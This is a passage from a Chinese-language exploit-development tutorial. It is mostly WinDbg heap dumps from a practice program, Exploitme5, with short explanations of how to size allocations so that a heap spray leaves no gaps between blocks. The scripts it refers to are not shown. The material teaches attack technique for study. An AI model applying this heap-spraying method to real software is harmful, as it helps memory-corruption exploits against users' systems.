Virtual block: 09180000 - 09180000 (size 00000000)
Virtual block: 09290000 - 09290000 (size 00000000)
Virtual block: 093a0000 - 093a0000 (size 00000000)
Virtual block: 094b0000 - 094b0000 (size 00000000)
Virtual block: 095c0000 - 095c0000 (size 00000000)
Virtual block: 096d0000 - 096d0000 (size 00000000)
Virtual block: 097e0000 - 097e0000 (size 00000000)
Virtual block: 098f0000 - 098f0000 (size 00000000)
Virtual block: 09a00000 - 09a00000 (size 00000000)
Virtual block: 09b10000 - 09b10000 (size 00000000)
Virtual block: 09c20000 - 09c20000 (size 00000000)
Virtual block: 09d30000 - 09d30000 (size 00000000)
Virtual block: 09e40000 - 09e40000 (size 00000000)
Virtual block: 09f50000 - 09f50000 (size 00000000)
Virtual block: 0a060000 - 0a060000 (size 00000000)
Virtual block: 0a170000 - 0a170000 (size 00000000)
Virtual block: 0a280000 - 0a280000 (size 00000000)
Virtual block: 0a390000 - 0a390000 (size 00000000)
Virtual block: 0a4a0000 - 0a4a0000 (size 00000000)
Virtual block: 0a5b0000 - 0a5b0000 (size 00000000)
Virtual block: 0a6c0000 - 0a6c0000 (size 00000000)
Virtual block: 0a7d0000 - 0a7d0000 (size 00000000)
Virtual block: 0a8e0000 - 0a8e0000 (size 00000000)
Virtual block: 0a9f0000 - 0a9f0000 (size 00000000)
Virtual block: 0ab00000 - 0ab00000 (size 00000000)
Virtual block: 0ac10000 - 0ac10000 (size 00000000)
Virtual block: 0ad20000 - 0ad20000 (size 00000000)
Virtual block: 0ae30000 - 0ae30000 (size 00000000)
Virtual block: 0af40000 - 0af40000 (size 00000000)
Virtual block: 0b050000 - 0b050000 (size 00000000)
Virtual block: 0b160000 - 0b160000 (size 00000000)
Virtual block: 0b270000 - 0b270000 (size 00000000)
Virtual block: 0b380000 - 0b380000 (size 00000000)
Virtual block: 0b490000 - 0b490000 (size 00000000)
Virtual block: 0b5a0000 - 0b5a0000 (size 00000000)
Virtual block: 0b6b0000 - 0b6b0000 (size 00000000)
Virtual block: 0b7c0000 - 0b7c0000 (size 00000000)
Virtual block: 0b8d0000 - 0b8d0000 (size 00000000)
Virtual block: 0b9e0000 - 0b9e0000 (size 00000000)
Virtual block: 0baf0000 - 0baf0000 (size 00000000)
Virtual block: 0bc00000 - 0bc00000 (size 00000000)
Virtual block: 0bd10000 - 0bd10000 (size 00000000)
Virtual block: 0be20000 - 0be20000 (size 00000000)
Virtual block: 0bf30000 - 0bf30000 (size 00000000)
Virtual block: 0c040000 - 0c040000 (size 00000000)
Virtual block: 0c150000 - 0c150000 (size 00000000)
Virtual block: 0c260000 - 0c260000 (size 00000000)
Virtual block: 0c370000 - 0c370000 (size 00000000)
Virtual block: 0c480000 - 0c480000 (size 00000000)
Virtual block: 0c590000 - 0c590000 (size 00000000)
Virtual block: 0c6a0000 - 0c6a0000 (size 00000000)
Virtual block: 0c7b0000 - 0c7b0000 (size 00000000)
Virtual block: 0c8c0000 - 0c8c0000 (size 00000000)
Virtual block: 0c9d0000 - 0c9d0000 (size 00000000)
Virtual block: 0cae0000 - 0cae0000 (size 00000000)
Virtual block: 0cbf0000 - 0cbf0000 (size 00000000)
Virtual block: 0cd00000 - 0cd00000 (size 00000000)
Virtual block: 0ce10000 - 0ce10000 (size 00000000)
Virtual block: 0cf20000 - 0cf20000 (size 00000000)
Virtual block: 0d030000 - 0d030000 (size 00000000)
Virtual block: 0d140000 - 0d140000 (size 00000000)
Virtual block: 0d250000 - 0d250000 (size 00000000)
Virtual block: 0d360000 - 0d360000 (size 00000000)
Virtual block: 0d470000 - 0d470000 (size 00000000)
Virtual block: 0d580000 - 0d580000 (size 00000000)
Virtual block: 0d690000 - 0d690000 (size 00000000)
Virtual block: 0d7a0000 - 0d7a0000 (size 00000000)
001f0000 40000062    1024     36   1024      4     8     1  201      0      
00010000 40008060      64      4     64      2     1     1    0      0      
00020000 40008060      64     64     64     62     1     1    0      0      
-----------------------------------------------------------------------------



通过比较上面的地址,你可以验证出通过!heap列举出的虚拟块和我们在Exploitme5中分配并且通过listBlock()列举的块是相同的块.但是这里有一点小小的区别:


block 0: address = 0x002f0020; size = 1048576         <-------listBlock()
Virtual block: 002f0000 - 002f0000 (size 00000000)    <------!heap



我们可以看到,这里有0x20个字节的元数据(头),所以该块起始于0x002f0000,但是可用部分起始于0x002f0020.


!heap并不会告诉我们块真实的大小,但是我们知道每个块大小为1MB,即:0x100000.除了前两块,其他相邻块之间的距离都是0x110000,所以相邻块之间有将近0x10000字节=64KB的垃圾数据.我们希望尽可能的减少垃圾数据.我们来尝试减少我们块的大小.修改后的脚本如下:





在创建完buf.dat之后,我们在WinDbg中重新启动Exploitme5.exe,分配内存块,我们获取到的信息如下:


0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x0192c53e
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast 
                    (k)     (k)    (k)     (k) length      blocks cont. heap 
---------------------------------------------------------
Virtual block: 003e0000 - 003e0000 (size 00000000)
Virtual block: 004f0000 - 004f0000 (size 00000000)
Virtual block: 00600000 - 00600000 (size 00000000)
Virtual block: 00710000 - 00710000 (size 00000000)
Virtual block: 00820000 - 00820000 (size 00000000)
Virtual block: 00930000 - 00930000 (size 00000000)
Virtual block: 00a40000 - 00a40000 (size 00000000)
Virtual block: 00b50000 - 00b50000 (size 00000000)
Virtual block: 00c60000 - 00c60000 (size 00000000)
Virtual block: 00d70000 - 00d70000 (size 00000000)
Virtual block: 00e80000 - 00e80000 (size 00000000)
Virtual block: 00f90000 - 00f90000 (size 00000000)
Virtual block: 010a0000 - 010a0000 (size 00000000)
Virtual block: 011b0000 - 011b0000 (size 00000000)
Virtual block: 01310000 - 01310000 (size 00000000)
Virtual block: 01420000 - 01420000 (size 00000000)
Virtual block: 01530000 - 01530000 (size 00000000)
Virtual block: 01640000 - 01640000 (size 00000000)
Virtual block: 01750000 - 01750000 (size 00000000)
Virtual block: 01860000 - 01860000 (size 00000000)
Virtual block: 01970000 - 01970000 (size 00000000)
Virtual block: 01a80000 - 01a80000 (size 00000000)
Virtual block: 01b90000 - 01b90000 (size 00000000)
Virtual block: 01ca0000 - 01ca0000 (size 00000000)
Virtual block: 01db0000 - 01db0000 (size 00000000)
Virtual block: 01ec0000 - 01ec0000 (size 00000000)
Virtual block: 01fd0000 - 01fd0000 (size 00000000)
Virtual block: 020e0000 - 020e0000 (size 00000000)
Virtual block: 021f0000 - 021f0000 (size 00000000)
Virtual block: 02300000 - 02300000 (size 00000000)
Virtual block: 02410000 - 02410000 (size 00000000)
Virtual block: 02520000 - 02520000 (size 00000000)
Virtual block: 02630000 - 02630000 (size 00000000)
Virtual block: 02740000 - 02740000 (size 00000000)
Virtual block: 02850000 - 02850000 (size 00000000)
Virtual block: 02960000 - 02960000 (size 00000000)
Virtual block: 02a70000 - 02a70000 (size 00000000)
Virtual block: 02b80000 - 02b80000 (size 00000000)
Virtual block: 02c90000 - 02c90000 (size 00000000)
Virtual block: 02da0000 - 02da0000 (size 00000000)
Virtual block: 02eb0000 - 02eb0000 (size 00000000)
Virtual block: 02fc0000 - 02fc0000 (size 00000000)
Virtual block: 030d0000 - 030d0000 (size 00000000)
Virtual block: 031e0000 - 031e0000 (size 00000000)
Virtual block: 032f0000 - 032f0000 (size 00000000)
Virtual block: 03400000 - 03400000 (size 00000000)
Virtual block: 03510000 - 03510000 (size 00000000)
Virtual block: 03620000 - 03620000 (size 00000000)
Virtual block: 03730000 - 03730000 (size 00000000)
Virtual block: 03840000 - 03840000 (size 00000000)
Virtual block: 03950000 - 03950000 (size 00000000)
Virtual block: 03a60000 - 03a60000 (size 00000000)
Virtual block: 03b70000 - 03b70000 (size 00000000)
Virtual block: 03c80000 - 03c80000 (size 00000000)
Virtual block: 03d90000 - 03d90000 (size 00000000)
Virtual block: 03ea0000 - 03ea0000 (size 00000000)
Virtual block: 03fb0000 - 03fb0000 (size 00000000)
Virtual block: 040c0000 - 040c0000 (size 00000000)
Virtual block: 041d0000 - 041d0000 (size 00000000)
Virtual block: 042e0000 - 042e0000 (size 00000000)
Virtual block: 043f0000 - 043f0000 (size 00000000)
Virtual block: 04500000 - 04500000 (size 00000000)
Virtual block: 04610000 - 04610000 (size 00000000)
Virtual block: 04720000 - 04720000 (size 00000000)
Virtual block: 04830000 - 04830000 (size 00000000)
Virtual block: 04940000 - 04940000 (size 00000000)
Virtual block: 04a50000 - 04a50000 (size 00000000)
Virtual block: 04b60000 - 04b60000 (size 00000000)
Virtual block: 04c70000 - 04c70000 (size 00000000)
Virtual block: 04d80000 - 04d80000 (size 00000000)
Virtual block: 04e90000 - 04e90000 (size 00000000)
Virtual block: 04fa0000 - 04fa0000 (size 00000000)
Virtual block: 050b0000 - 050b0000 (size 00000000)
Virtual block: 051c0000 - 051c0000 (size 00000000)
Virtual block: 052d0000 - 052d0000 (size 00000000)
Virtual block: 053e0000 - 053e0000 (size 00000000)
Virtual block: 054f0000 - 054f0000 (size 00000000)
Virtual block: 05600000 - 05600000 (size 00000000)
Virtual block: 05710000 - 05710000 (size 00000000)
Virtual block: 05820000 - 05820000 (size 00000000)
Virtual block: 05930000 - 05930000 (size 00000000)
Virtual block: 05a40000 - 05a40000 (size 00000000)
Virtual block: 05b50000 - 05b50000 (size 00000000)
Virtual block: 05c60000 - 05c60000 (size 00000000)
Virtual block: 05d70000 - 05d70000 (size 00000000)
Virtual block: 05e80000 - 05e80000 (size 00000000)
Virtual block: 05f90000 - 05f90000 (size 00000000)
Virtual block: 060a0000 - 060a0000 (size 00000000)
Virtual block: 061b0000 - 061b0000 (size 00000000)
Virtual block: 062c0000 - 062c0000 (size 00000000)
Virtual block: 063d0000 - 063d0000 (size 00000000)
Virtual block: 064e0000 - 064e0000 (size 00000000)
Virtual block: 065f0000 - 065f0000 (size 00000000)
Virtual block: 06700000 - 06700000 (size 00000000)
Virtual block: 06810000 - 06810000 (size 00000000)
Virtual block: 06920000 - 06920000 (size 00000000)
Virtual block: 06a30000 - 06a30000 (size 00000000)
Virtual block: 06b40000 - 06b40000 (size 00000000)
Virtual block: 06c50000 - 06c50000 (size 00000000)
Virtual block: 06d60000 - 06d60000 (size 00000000)
Virtual block: 06e70000 - 06e70000 (size 00000000)
Virtual block: 06f80000 - 06f80000 (size 00000000)
Virtual block: 07090000 - 07090000 (size 00000000)
Virtual block: 071a0000 - 071a0000 (size 00000000)
Virtual block: 072b0000 - 072b0000 (size 00000000)
Virtual block: 073c0000 - 073c0000 (size 00000000)
Virtual block: 074d0000 - 074d0000 (size 00000000)
Virtual block: 075e0000 - 075e0000 (size 00000000)
Virtual block: 076f0000 - 076f0000 (size 00000000)
Virtual block: 07800000 - 07800000 (size 00000000)
Virtual block: 07910000 - 07910000 (size 00000000)
Virtual block: 07a20000 - 07a20000 (size 00000000)
Virtual block: 07b30000 - 07b30000 (size 00000000)
Virtual block: 07c40000 - 07c40000 (size 00000000)
Virtual block: 07d50000 - 07d50000 (size 00000000)
Virtual block: 07e60000 - 07e60000 (size 00000000)
Virtual block: 07f70000 - 07f70000 (size 00000000)
Virtual block: 08080000 - 08080000 (size 00000000)
Virtual block: 08190000 - 08190000 (size 00000000)
Virtual block: 082a0000 - 082a0000 (size 00000000)
Virtual block: 083b0000 - 083b0000 (size 00000000)
Virtual block: 084c0000 - 084c0000 (size 00000000)
Virtual block: 085d0000 - 085d0000 (size 00000000)
Virtual block: 086e0000 - 086e0000 (size 00000000)
Virtual block: 087f0000 - 087f0000 (size 00000000)
Virtual block: 08900000 - 08900000 (size 00000000)
Virtual block: 08a10000 - 08a10000 (size 00000000)
Virtual block: 08b20000 - 08b20000 (size 00000000)
Virtual block: 08c30000 - 08c30000 (size 00000000)
Virtual block: 08d40000 - 08d40000 (size 00000000)
Virtual block: 08e50000 - 08e50000 (size 00000000)
Virtual block: 08f60000 - 08f60000 (size 00000000)
Virtual block: 09070000 - 09070000 (size 00000000)
Virtual block: 09180000 - 09180000 (size 00000000)
Virtual block: 09290000 - 09290000 (size 00000000)
Virtual block: 093a0000 - 093a0000 (size 00000000)
Virtual block: 094b0000 - 094b0000 (size 00000000)
Virtual block: 095c0000 - 095c0000 (size 00000000)
Virtual block: 096d0000 - 096d0000 (size 00000000)
Virtual block: 097e0000 - 097e0000 (size 00000000)
Virtual block: 098f0000 - 098f0000 (size 00000000)
Virtual block: 09a00000 - 09a00000 (size 00000000)
Virtual block: 09b10000 - 09b10000 (size 00000000)
Virtual block: 09c20000 - 09c20000 (size 00000000)
Virtual block: 09d30000 - 09d30000 (size 00000000)
Virtual block: 09e40000 - 09e40000 (size 00000000)
Virtual block: 09f50000 - 09f50000 (size 00000000)
Virtual block: 0a060000 - 0a060000 (size 00000000)
Virtual block: 0a170000 - 0a170000 (size 00000000)
Virtual block: 0a280000 - 0a280000 (size 00000000)
Virtual block: 0a390000 - 0a390000 (size 00000000)
Virtual block: 0a4a0000 - 0a4a0000 (size 00000000)
Virtual block: 0a5b0000 - 0a5b0000 (size 00000000)
Virtual block: 0a6c0000 - 0a6c0000 (size 00000000)
Virtual block: 0a7d0000 - 0a7d0000 (size 00000000)
Virtual block: 0a8e0000 - 0a8e0000 (size 00000000)
Virtual block: 0a9f0000 - 0a9f0000 (size 00000000)
Virtual block: 0ab00000 - 0ab00000 (size 00000000)
Virtual block: 0ac10000 - 0ac10000 (size 00000000)
Virtual block: 0ad20000 - 0ad20000 (size 00000000)
Virtual block: 0ae30000 - 0ae30000 (size 00000000)
Virtual block: 0af40000 - 0af40000 (size 00000000)
Virtual block: 0b050000 - 0b050000 (size 00000000)
Virtual block: 0b160000 - 0b160000 (size 00000000)
Virtual block: 0b270000 - 0b270000 (size 00000000)
Virtual block: 0b380000 - 0b380000 (size 00000000)
Virtual block: 0b490000 - 0b490000 (size 00000000)
Virtual block: 0b5a0000 - 0b5a0000 (size 00000000)
Virtual block: 0b6b0000 - 0b6b0000 (size 00000000)
Virtual block: 0b7c0000 - 0b7c0000 (size 00000000)
Virtual block: 0b8d0000 - 0b8d0000 (size 00000000)
Virtual block: 0b9e0000 - 0b9e0000 (size 00000000)
Virtual block: 0baf0000 - 0baf0000 (size 00000000)
Virtual block: 0bc00000 - 0bc00000 (size 00000000)
Virtual block: 0bd10000 - 0bd10000 (size 00000000)
Virtual block: 0be20000 - 0be20000 (size 00000000)
Virtual block: 0bf30000 - 0bf30000 (size 00000000)
Virtual block: 0c040000 - 0c040000 (size 00000000)
Virtual block: 0c150000 - 0c150000 (size 00000000)
Virtual block: 0c260000 - 0c260000 (size 00000000)
Virtual block: 0c370000 - 0c370000 (size 00000000)
Virtual block: 0c480000 - 0c480000 (size 00000000)
Virtual block: 0c590000 - 0c590000 (size 00000000)
Virtual block: 0c6a0000 - 0c6a0000 (size 00000000)
Virtual block: 0c7b0000 - 0c7b0000 (size 00000000)
Virtual block: 0c8c0000 - 0c8c0000 (size 00000000)
Virtual block: 0c9d0000 - 0c9d0000 (size 00000000)
Virtual block: 0cae0000 - 0cae0000 (size 00000000)
Virtual block: 0cbf0000 - 0cbf0000 (size 00000000)
Virtual block: 0cd00000 - 0cd00000 (size 00000000)
Virtual block: 0ce10000 - 0ce10000 (size 00000000)
Virtual block: 0cf20000 - 0cf20000 (size 00000000)
Virtual block: 0d030000 - 0d030000 (size 00000000)
Virtual block: 0d140000 - 0d140000 (size 00000000)
Virtual block: 0d250000 - 0d250000 (size 00000000)
Virtual block: 0d360000 - 0d360000 (size 00000000)
Virtual block: 0d470000 - 0d470000 (size 00000000)
Virtual block: 0d580000 - 0d580000 (size 00000000)
Virtual block: 0d690000 - 0d690000 (size 00000000)
Virtual block: 0d7a0000 - 0d7a0000 (size 00000000)
Virtual block: 0d8b0000 - 0d8b0000 (size 00000000)
002e0000 40000062    1024     36   1024      4     8     1  201      0      
00010000 40008060      64      4     64      2     1     1    0      0      
00020000 40008060      64     64     64     62     1     1    0      0      
-----------------------------------------------------------------------------



没什么变化!我们再将我们块的大小减少的更多一点:





在WinDbg中:


0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x49bf926a
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast 
                    (k)     (k)    (k)     (k) length      blocks cont. heap 
------------------------------------------------------------
Virtual block: 00320000 - 00320000 (size 00000000)
Virtual block: 00420000 - 00420000 (size 00000000)
Virtual block: 00520000 - 00520000 (size 00000000)
Virtual block: 00620000 - 00620000 (size 00000000)
Virtual block: 00720000 - 00720000 (size 00000000)
Virtual block: 00820000 - 00820000 (size 00000000)
Virtual block: 00920000 - 00920000 (size 00000000)
Virtual block: 00a20000 - 00a20000 (size 00000000)
Virtual block: 00b20000 - 00b20000 (size 00000000)
Virtual block: 00c20000 - 00c20000 (size 00000000)
Virtual block: 00d20000 - 00d20000 (size 00000000)
Virtual block: 00e20000 - 00e20000 (size 00000000)
Virtual block: 00f20000 - 00f20000 (size 00000000)
Virtual block: 01020000 - 01020000 (size 00000000)
Virtual block: 01120000 - 01120000 (size 00000000)
Virtual block: 01220000 - 01220000 (size 00000000)
Virtual block: 01350000 - 01350000 (size 00000000)
Virtual block: 01450000 - 01450000 (size 00000000)
Virtual block: 01550000 - 01550000 (size 00000000)
Virtual block: 01650000 - 01650000 (size 00000000)
Virtual block: 01750000 - 01750000 (size 00000000)
Virtual block: 01850000 - 01850000 (size 00000000)
Virtual block: 01950000 - 01950000 (size 00000000)
Virtual block: 01a50000 - 01a50000 (size 00000000)
Virtual block: 01b50000 - 01b50000 (size 00000000)
Virtual block: 01c50000 - 01c50000 (size 00000000)
Virtual block: 01d50000 - 01d50000 (size 00000000)
Virtual block: 01e50000 - 01e50000 (size 00000000)
Virtual block: 01f50000 - 01f50000 (size 00000000)
Virtual block: 02050000 - 02050000 (size 00000000)
Virtual block: 02150000 - 02150000 (size 00000000)
Virtual block: 02250000 - 02250000 (size 00000000)
Virtual block: 02350000 - 02350000 (size 00000000)
Virtual block: 02450000 - 02450000 (size 00000000)
Virtual block: 02550000 - 02550000 (size 00000000)
Virtual block: 02650000 - 02650000 (size 00000000)
Virtual block: 02750000 - 02750000 (size 00000000)
Virtual block: 02850000 - 02850000 (size 00000000)
Virtual block: 02950000 - 02950000 (size 00000000)
Virtual block: 02a50000 - 02a50000 (size 00000000)
Virtual block: 02b50000 - 02b50000 (size 00000000)
Virtual block: 02c50000 - 02c50000 (size 00000000)
Virtual block: 02d50000 - 02d50000 (size 00000000)
Virtual block: 02e50000 - 02e50000 (size 00000000)
Virtual block: 02f50000 - 02f50000 (size 00000000)
Virtual block: 03050000 - 03050000 (size 00000000)
Virtual block: 03150000 - 03150000 (size 00000000)
Virtual block: 03250000 - 03250000 (size 00000000)
Virtual block: 03350000 - 03350000 (size 00000000)
Virtual block: 03450000 - 03450000 (size 00000000)
Virtual block: 03550000 - 03550000 (size 00000000)
Virtual block: 03650000 - 03650000 (size 00000000)
Virtual block: 03750000 - 03750000 (size 00000000)
Virtual block: 03850000 - 03850000 (size 00000000)
Virtual block: 03950000 - 03950000 (size 00000000)
Virtual block: 03a50000 - 03a50000 (size 00000000)
Virtual block: 03b50000 - 03b50000 (size 00000000)
Virtual block: 03c50000 - 03c50000 (size 00000000)
Virtual block: 03d50000 - 03d50000 (size 00000000)
Virtual block: 03e50000 - 03e50000 (size 00000000)
Virtual block: 03f50000 - 03f50000 (size 00000000)
Virtual block: 04050000 - 04050000 (size 00000000)
Virtual block: 04150000 - 04150000 (size 00000000)
Virtual block: 04250000 - 04250000 (size 00000000)
Virtual block: 04350000 - 04350000 (size 00000000)
Virtual block: 04450000 - 04450000 (size 00000000)
Virtual block: 04550000 - 04550000 (size 00000000)
Virtual block: 04650000 - 04650000 (size 00000000)
Virtual block: 04750000 - 04750000 (size 00000000)
Virtual block: 04850000 - 04850000 (size 00000000)
Virtual block: 04950000 - 04950000 (size 00000000)
Virtual block: 04a50000 - 04a50000 (size 00000000)
Virtual block: 04b50000 - 04b50000 (size 00000000)
Virtual block: 04c50000 - 04c50000 (size 00000000)
Virtual block: 04d50000 - 04d50000 (size 00000000)
Virtual block: 04e50000 - 04e50000 (size 00000000)
Virtual block: 04f50000 - 04f50000 (size 00000000)
Virtual block: 05050000 - 05050000 (size 00000000)
Virtual block: 05150000 - 05150000 (size 00000000)
Virtual block: 05250000 - 05250000 (size 00000000)
Virtual block: 05350000 - 05350000 (size 00000000)
Virtual block: 05450000 - 05450000 (size 00000000)
Virtual block: 05550000 - 05550000 (size 00000000)
Virtual block: 05650000 - 05650000 (size 00000000)
Virtual block: 05750000 - 05750000 (size 00000000)
Virtual block: 05850000 - 05850000 (size 00000000)
Virtual block: 05950000 - 05950000 (size 00000000)
Virtual block: 05a50000 - 05a50000 (size 00000000)
Virtual block: 05b50000 - 05b50000 (size 00000000)
Virtual block: 05c50000 - 05c50000 (size 00000000)
Virtual block: 05d50000 - 05d50000 (size 00000000)
Virtual block: 05e50000 - 05e50000 (size 00000000)
Virtual block: 05f50000 - 05f50000 (size 00000000)
Virtual block: 06050000 - 06050000 (size 00000000)
Virtual block: 06150000 - 06150000 (size 00000000)
Virtual block: 06250000 - 06250000 (size 00000000)
Virtual block: 06350000 - 06350000 (size 00000000)
Virtual block: 06450000 - 06450000 (size 00000000)
Virtual block: 06550000 - 06550000 (size 00000000)
Virtual block: 06650000 - 06650000 (size 00000000)
Virtual block: 06750000 - 06750000 (size 00000000)
Virtual block: 06850000 - 06850000 (size 00000000)
Virtual block: 06950000 - 06950000 (size 00000000)
Virtual block: 06a50000 - 06a50000 (size 00000000)
Virtual block: 06b50000 - 06b50000 (size 00000000)
Virtual block: 06c50000 - 06c50000 (size 00000000)
Virtual block: 06d50000 - 06d50000 (size 00000000)
Virtual block: 06e50000 - 06e50000 (size 00000000)
Virtual block: 06f50000 - 06f50000 (size 00000000)
Virtual block: 07050000 - 07050000 (size 00000000)
Virtual block: 07150000 - 07150000 (size 00000000)
Virtual block: 07250000 - 07250000 (size 00000000)
Virtual block: 07350000 - 07350000 (size 00000000)
Virtual block: 07450000 - 07450000 (size 00000000)
Virtual block: 07550000 - 07550000 (size 00000000)
Virtual block: 07650000 - 07650000 (size 00000000)
Virtual block: 07750000 - 07750000 (size 00000000)
Virtual block: 07850000 - 07850000 (size 00000000)
Virtual block: 07950000 - 07950000 (size 00000000)
Virtual block: 07a50000 - 07a50000 (size 00000000)
Virtual block: 07b50000 - 07b50000 (size 00000000)
Virtual block: 07c50000 - 07c50000 (size 00000000)
Virtual block: 07d50000 - 07d50000 (size 00000000)
Virtual block: 07e50000 - 07e50000 (size 00000000)
Virtual block: 07f50000 - 07f50000 (size 00000000)
Virtual block: 08050000 - 08050000 (size 00000000)
Virtual block: 08150000 - 08150000 (size 00000000)
Virtual block: 08250000 - 08250000 (size 00000000)
Virtual block: 08350000 - 08350000 (size 00000000)
Virtual block: 08450000 - 08450000 (size 00000000)
Virtual block: 08550000 - 08550000 (size 00000000)
Virtual block: 08650000 - 08650000 (size 00000000)
Virtual block: 08750000 - 08750000 (size 00000000)
Virtual block: 08850000 - 08850000 (size 00000000)
Virtual block: 08950000 - 08950000 (size 00000000)
Virtual block: 08a50000 - 08a50000 (size 00000000)
Virtual block: 08b50000 - 08b50000 (size 00000000)
Virtual block: 08c50000 - 08c50000 (size 00000000)
Virtual block: 08d50000 - 08d50000 (size 00000000)
Virtual block: 08e50000 - 08e50000 (size 00000000)
Virtual block: 08f50000 - 08f50000 (size 00000000)
Virtual block: 09050000 - 09050000 (size 00000000)
Virtual block: 09150000 - 09150000 (size 00000000)
Virtual block: 09250000 - 09250000 (size 00000000)
Virtual block: 09350000 - 09350000 (size 00000000)
Virtual block: 09450000 - 09450000 (size 00000000)
Virtual block: 09550000 - 09550000 (size 00000000)
Virtual block: 09650000 - 09650000 (size 00000000)
Virtual block: 09750000 - 09750000 (size 00000000)
Virtual block: 09850000 - 09850000 (size 00000000)
Virtual block: 09950000 - 09950000 (size 00000000)
Virtual block: 09a50000 - 09a50000 (size 00000000)
Virtual block: 09b50000 - 09b50000 (size 00000000)
Virtual block: 09c50000 - 09c50000 (size 00000000)
Virtual block: 09d50000 - 09d50000 (size 00000000)
Virtual block: 09e50000 - 09e50000 (size 00000000)
Virtual block: 09f50000 - 09f50000 (size 00000000)
Virtual block: 0a050000 - 0a050000 (size 00000000)
Virtual block: 0a150000 - 0a150000 (size 00000000)
Virtual block: 0a250000 - 0a250000 (size 00000000)
Virtual block: 0a350000 - 0a350000 (size 00000000)
Virtual block: 0a450000 - 0a450000 (size 00000000)
Virtual block: 0a550000 - 0a550000 (size 00000000)
Virtual block: 0a650000 - 0a650000 (size 00000000)
Virtual block: 0a750000 - 0a750000 (size 00000000)
Virtual block: 0a850000 - 0a850000 (size 00000000)
Virtual block: 0a950000 - 0a950000 (size 00000000)
Virtual block: 0aa50000 - 0aa50000 (size 00000000)
Virtual block: 0ab50000 - 0ab50000 (size 00000000)
Virtual block: 0ac50000 - 0ac50000 (size 00000000)
Virtual block: 0ad50000 - 0ad50000 (size 00000000)
Virtual block: 0ae50000 - 0ae50000 (size 00000000)
Virtual block: 0af50000 - 0af50000 (size 00000000)
Virtual block: 0b050000 - 0b050000 (size 00000000)
Virtual block: 0b150000 - 0b150000 (size 00000000)
Virtual block: 0b250000 - 0b250000 (size 00000000)
Virtual block: 0b350000 - 0b350000 (size 00000000)
Virtual block: 0b450000 - 0b450000 (size 00000000)
Virtual block: 0b550000 - 0b550000 (size 00000000)
Virtual block: 0b650000 - 0b650000 (size 00000000)
Virtual block: 0b750000 - 0b750000 (size 00000000)
Virtual block: 0b850000 - 0b850000 (size 00000000)
Virtual block: 0b950000 - 0b950000 (size 00000000)
Virtual block: 0ba50000 - 0ba50000 (size 00000000)
Virtual block: 0bb50000 - 0bb50000 (size 00000000)
Virtual block: 0bc50000 - 0bc50000 (size 00000000)
Virtual block: 0bd50000 - 0bd50000 (size 00000000)
Virtual block: 0be50000 - 0be50000 (size 00000000)
Virtual block: 0bf50000 - 0bf50000 (size 00000000)
Virtual block: 0c050000 - 0c050000 (size 00000000)
Virtual block: 0c150000 - 0c150000 (size 00000000)
Virtual block: 0c250000 - 0c250000 (size 00000000)
Virtual block: 0c350000 - 0c350000 (size 00000000)
Virtual block: 0c450000 - 0c450000 (size 00000000)
Virtual block: 0c550000 - 0c550000 (size 00000000)
Virtual block: 0c650000 - 0c650000 (size 00000000)
Virtual block: 0c750000 - 0c750000 (size 00000000)
Virtual block: 0c850000 - 0c850000 (size 00000000)
Virtual block: 0c950000 - 0c950000 (size 00000000)
Virtual block: 0ca50000 - 0ca50000 (size 00000000)
Virtual block: 0cb50000 - 0cb50000 (size 00000000)
00120000 40000062    1024     36   1024      4     8     1  201      0      
00010000 40008060      64      4     64      2     1     1    0      0      
00020000 40008060      64     64     64     62     1     1    0      0      
-----------------------------------------------------------------------------



完美!将要分配的块的大小减少 0x30字节恰好不会出现垃圾数据.你可以验证出0x30是最小的.如果你尝试0x2f,你会发现0x2f不起作用.我们重新启动Exploitme5.exe,然后重做一遍.这一次WinDbg的输出如下:


0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x3b9f92b6
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast 
                    (k)     (k)    (k)     (k) length      blocks cont. heap 
--------------------------------------------------------------------
Virtual block: 003f0000 - 003f0000 (size 00000000)
Virtual block: 004f0000 - 004f0000 (size 00000000)
Virtual block: 005f0000 - 005f0000 (size 00000000)
Virtual block: 006f0000 - 006f0000 (size 00000000)
Virtual block: 007f0000 - 007f0000 (size 00000000)
Virtual block: 008f0000 - 008f0000 (size 00000000)
Virtual block: 009f0000 - 009f0000 (size 00000000)
Virtual block: 00af0000 - 00af0000 (size 00000000)
Virtual block: 00bf0000 - 00bf0000 (size 00000000)
Virtual block: 00cf0000 - 00cf0000 (size 00000000)
Virtual block: 00df0000 - 00df0000 (size 00000000)
Virtual block: 00ef0000 - 00ef0000 (size 00000000)
Virtual block: 00ff0000 - 00ff0000 (size 00000000)
Virtual block: 01150000 - 01150000 (size 00000000)
Virtual block: 01250000 - 01250000 (size 00000000)
Virtual block: 01350000 - 01350000 (size 00000000)
Virtual block: 01450000 - 01450000 (size 00000000)
Virtual block: 01550000 - 01550000 (size 00000000)
Virtual block: 01650000 - 01650000 (size 00000000)
Virtual block: 01750000 - 01750000 (size 00000000)
Virtual block: 01850000 - 01850000 (size 00000000)
Virtual block: 01950000 - 01950000 (size 00000000)
Virtual block: 01a50000 - 01a50000 (size 00000000)
Virtual block: 01b50000 - 01b50000 (size 00000000)
Virtual block: 01c50000 - 01c50000 (size 00000000)
Virtual block: 01d50000 - 01d50000 (size 00000000)
Virtual block: 01e50000 - 01e50000 (size 00000000)
Virtual block: 01f50000 - 01f50000 (size 00000000)
Virtual block: 02050000 - 02050000 (size 00000000)
Virtual block: 02150000 - 02150000 (size 00000000)
Virtual block: 02250000 - 02250000 (size 00000000)
Virtual block: 02350000 - 02350000 (size 00000000)
Virtual block: 02450000 - 02450000 (size 00000000)
Virtual block: 02550000 - 02550000 (size 00000000)
Virtual block: 02650000 - 02650000 (size 00000000)
Virtual block: 02750000 - 02750000 (size 00000000)
Virtual block: 02850000 - 02850000 (size 00000000)
Virtual block: 02950000 - 02950000 (size 00000000)
Virtual block: 02a50000 - 02a50000 (size 00000000)
Virtual block: 02b50000 - 02b50000 (size 00000000)
Virtual block: 02c50000 - 02c50000 (size 00000000)
